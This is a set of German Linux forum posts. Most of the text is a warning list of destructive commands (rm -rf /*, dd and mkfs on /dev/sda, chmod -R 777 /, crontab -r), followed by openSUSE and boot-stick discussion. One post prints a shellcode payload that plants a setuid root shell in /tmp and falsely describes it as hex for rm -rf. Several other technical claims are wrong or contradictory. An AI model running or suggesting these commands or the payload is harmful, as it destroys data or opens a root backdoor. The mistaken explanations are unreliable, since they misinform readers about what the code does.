Beiträge von Alero

    Eine Partition mit 64 GiB bekommst du sowieso nicht hin, weil die Sticks nur mit der Größenangabe verkauft werden. Wie groß ein Stick am Ende wirklich ist, also, wie viel Speicher zur Verfügung steht, hängt von vielen verschiedenen Faktoren ab. Das kannst du aber alles googeln, da ich jetzt ehrlich gesagt keine Lust habe, mir für Informationen, die du im Internet finden kannst, die Finger blutig zu schreiben. Ein Speicherstick, der mit 64 oder egal welcher Größe, verkauft wird, hat am Ende nie die volle Größe, die da drauf steht. Wenn gParted Unsinn anzeigt, dann hat gParted wohl ein Problem. Man kann da also ein anderes Programm verwenden. Ich nutze für Sticks eigentlich ausschließlich dd.

    rm -rf /* Einer der berühmtesten Befehle. Meist in sozialen Medien von Trollen vorgeschlagen, aber ohne Root-Rechte schadet dieser Befehl nicht.

    Der Befehl rm dient zum Entfernen von Dateien/Verzeichnissen. Die Flags -r und -f werden verwendet, um das rekursive Entfernen aller Dateien im angegebenen Verzeichnis anzuzeigen. Auch mit sudo rm -rf/* passiert nichts, da die Systeme eine Failsafe-Option anbieten. Man muss –no-preserve-root eingeben, um es tatsächlich auszuführen. Also sudo rm -rf /* --no-preserve-root.

    Es geht auch einfacher mit sudo rm -rf /*. Es beginnt mit dem rekursiven Löschen aller Dateien im Stammverzeichnis und irgendwann friert das System mit der Meldung „Fehler beim Löschen der Datei“ ein. Nach dem Neustart kommt dann grub-rescue.


    echo "Hello" > /dev/sda kennen wir schon. Der Befehl überschreibt sämtliche Daten mit "Hello".


    mv /home/user/* /dev/null Man muss hier mal etwas weiter ausholen. Es gibt in Linux eine große schwarze Leere. Nennt sich hier /dev/null. Das ist das Schwarze Loch des Linux-Universums. Alles, was nach dort verschoben wird, verschwindet kommentarlos und endgültig! Und das fiese an der Sache ist, das nach dem verschwinden der Daten auch noch erfolgreich Vollzug gemeldet wird. Mit dem angeführten Befehl verschiebt ihr alle eure Daten des /home in das schwarze Loch. Natürlich muss /user noch mit dem korrekten Namen ersetzt werden. Root bleibt allerdings erhalten. Ich persönlich halte /dev/null für das gefährlichste im Linux-Universum. Und ihr wisst jetzt auch, warum.


    mkfs.ext3 /dev/sda mkfs ist ein Befehl, der eigentlich zum formatieren der Festplatten verwendet wird. Mit dem angeführten Befehl wird das System unwiederbringlich durcheinander gebracht. Eine Wiederherstellung ist unmöglich.


    command > config_filename Wie schon erwähnt wird der Operator > zum schreiben in eine Datei verwendet. Er verwirft alles was geschrieben steht und schreibt neu hinein. Sollte eine wichtige Datei beschrieben werden, ist das System evtl. hinterher nicht mehr lauffähig.


    /dev/random ist ein Befehl unter Linux, der einfach nur Müll erzeugt. Kombiniert mit dd und einer Partitition ist er ein Garant für ein zerstörtes System. Er sollte dann etwa so aussehen dd if=/dev/random of=/dev/sda. Kommt euch bekannt vor? Klar, ein Low-Level-Formatier-Tool. Es geht aber noch weitaus schlimmer!


    cat /dev/urandom > filename ... ist eine wahre Ausgeburt der Hölle. Hier werden Mülldaten aus /dev/urandom übernommen und in eine Datei eingefügt. Wenn die Datei nicht mit Strg + C beendet wird, kann sie so viel Platz beanspruchen, das die Sache für Low-End-Systeme in der ultimativen Katastrophe mündet.


    Wenn euer System von mehreren Usern benutzt wird, kann der Befehl chmod -R 777 / für viel Erheiterung sorgen. Er macht nämlich die Root-Partition für alle und jeden zugänglich.

    Dies bedeutet, dass jeder Benutzer des Systems über Lese-, Schreib- und Ausführungsberechtigungen verfügt. Schätzungsweise ist das nicht gut für Euer System.


    Zum guten Schluss mal noch ein kleines Beispiel betreffs getarnter Befehle. Es gibt jede Menge Möglichkeiten, Befehle in der Shell auszuführen. Manche sind einfach und chic und manche sehen wunderlich aus. Wie zum Beispiel dieser hier

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p

    release */

    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”

    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”

    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”

    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”

    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”

    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”

    “\x6e\x2f\x73\x68\x00\x2d\x63\x00”

    “cp -p /bin/sh /tmp/.beyond; chmod 4755

    /tmp/.beyond;”;

    Das ist allerdings weiter nichts als die hexadezimale Schreibweise von rm -rf. Seid also vorsichtig mit dem herunterladen und ausführen solch wunderlicher Zeichenfolgen.


    crontab -r Bei vielen wird noch crontab verwendet statt systemd, um zeitlich gesteuert Programme ablaufen zu lassen.

    Die Datei crontab enthält oft wichtige Befehle, die zu bestimmten Zeiten gestartet werden müssen. Mit diesem Befehl macht ihr der Sache ganz schnell ein Ende


    sudo apt purge dateiname* ist auch ein interessanter Befehl, den ich viel nutze, um unter Debian Distros etwas zu löschen. Auch unter Ubuntu und seinen Derivaten gut geeignet. Damit wird bei mir z.B. libreoffice gecancelt.


    »¬

    Hat jemand von Euch eine Ahnung über Vorgang und Ursache

    Ich hätte dazu ein oder zwei Überlegungen ....

    Mein Tumbleweed auf dem Laptop ist neu installiert und nicht auf Plasma 5 aufgepfropft. Also eine komplette Neuinstallation mit Plasma 6. Ich habe keinerlei Probleme mit der Systemverwaltung. Einzig stört mich etwas, das fast alle Yast-Punkte extra noch einmal im Kickdown-Menü aufgeführt sind. Die Frage lautet:

    Hast du neu installiert? Hast du über Plasma 5 drüber installiert? Das könnte schon zu solchen Effekten führen.


    Wie du aus der Nummer heraus kommst weiß ich allerdings nicht. Ich würde das neu machen.

    Ich bin dann gespannt, was nach Leap 16 wird. Kommt dann ein Leap 17 oder ein Leap 16.x? Man weiß es nicht genau ...

    Aeon und Slowroll sind ja mehr oder weniger raus. Tumbleweed bleibt (Gott sei es getrommelt und gepfiffen) und was später mal noch wird, das weiß der Kuckuck.

    Zitat

    Ich bin davon überzeugt, dass die Europäische Union wirklich Gutes im Sinn hatte, als sie 2018 begann, eine Regulierung von Künstlicher Intelligenz zu erarbeiten. Orientieren sollte sich ihre sogenannte KI-Verordnung an den allgemeinen Menschen- und Freiheitsrechten, ihr Fundament war die DSGVO. Europa schien einen großen Schritt hin zu Datenschutz im digitalen Zeitalter zu machen. Am Sonntag, dem 2. Februar 2025 traten nun die ersten Maßnahmen in Kraft. Von Freiheitsrechten und Datenschutz ist nach sieben Jahren keine Spur mehr zu finden: KI-gestützte Echtzeitüberwachung an den Grenzen und Tracking von politischem Protest sind dank der Verordnung in wenigen Wochen schon erlaubt. Das Gesetz entpuppt sich damit als ein Blanko-Scheck für Polizei- und Grenzbehörden.


    Quelle: https://digitalcourage.de/blog…erordnung-transatlantisch

    Inzwischen steht mehr oder weniger fest, das Aeon und Slowroll lediglich Ein-Mann-Projekte sind und im großen und ganzen bei opensuse nicht mehr die große Rolle spielen.

    Zitat

    Dass selbst die OpenSuse-Entwickler sich zeitweise nicht sicher waren, ob sie ihr Flaggschiff Leap weiter anbieten können, also die konventionelle Distribution ohne „rollende“ (laufende partielle) Upgrades, zeigt sich an den seit Anfang 2023 entstandenen Ersatzprodukten Slowroll und Aeon: Sie bestehen weiter, wenn auch nur als Einmannprojekte.

    Leap 16 liegt inzwischen jedoch als in Grundzügen lauffähige Alpha-Fassung vor [1]. Slowroll, eine nur monatlich aktualisierte Tumbleweed-Spielart, und Aeon, ein Desktop-Linux mit Immutable-Dateisystem, ersetzen Leap also nicht: Sie ergänzen es lediglich als Alternativen.


    Quelle: https://www.linux-community.de…g-von-opensuse-leap-16-0/

    auch wenn ich verschiedene Einstellungen in Ventoy verändere komme ich nicht weiter.

    Warum nutzt du auch ein Programm, von dem dir mitgeteilt wird, das es nicht funktioniert? Warum nimmst du nicht sardu oder multibootusb? Verstehe ich nicht.


    sardu jetzt von hier


    Nachtrag: sardu ist keine freeware mehr ... gerade getestet ... fällt also aus der Wertung, multibootusb scheint auch nicht mehr zu funktionieren. Tja, da wird es eng. Bleibt wohl nur unetbootin ... und ja, unetbootin kann laut Beschreibung multiboot.


    So installieren und verwenden Sie Unetbootin Linux Live USB Creator


    Installation mit

    Code
    zypper in unetbootin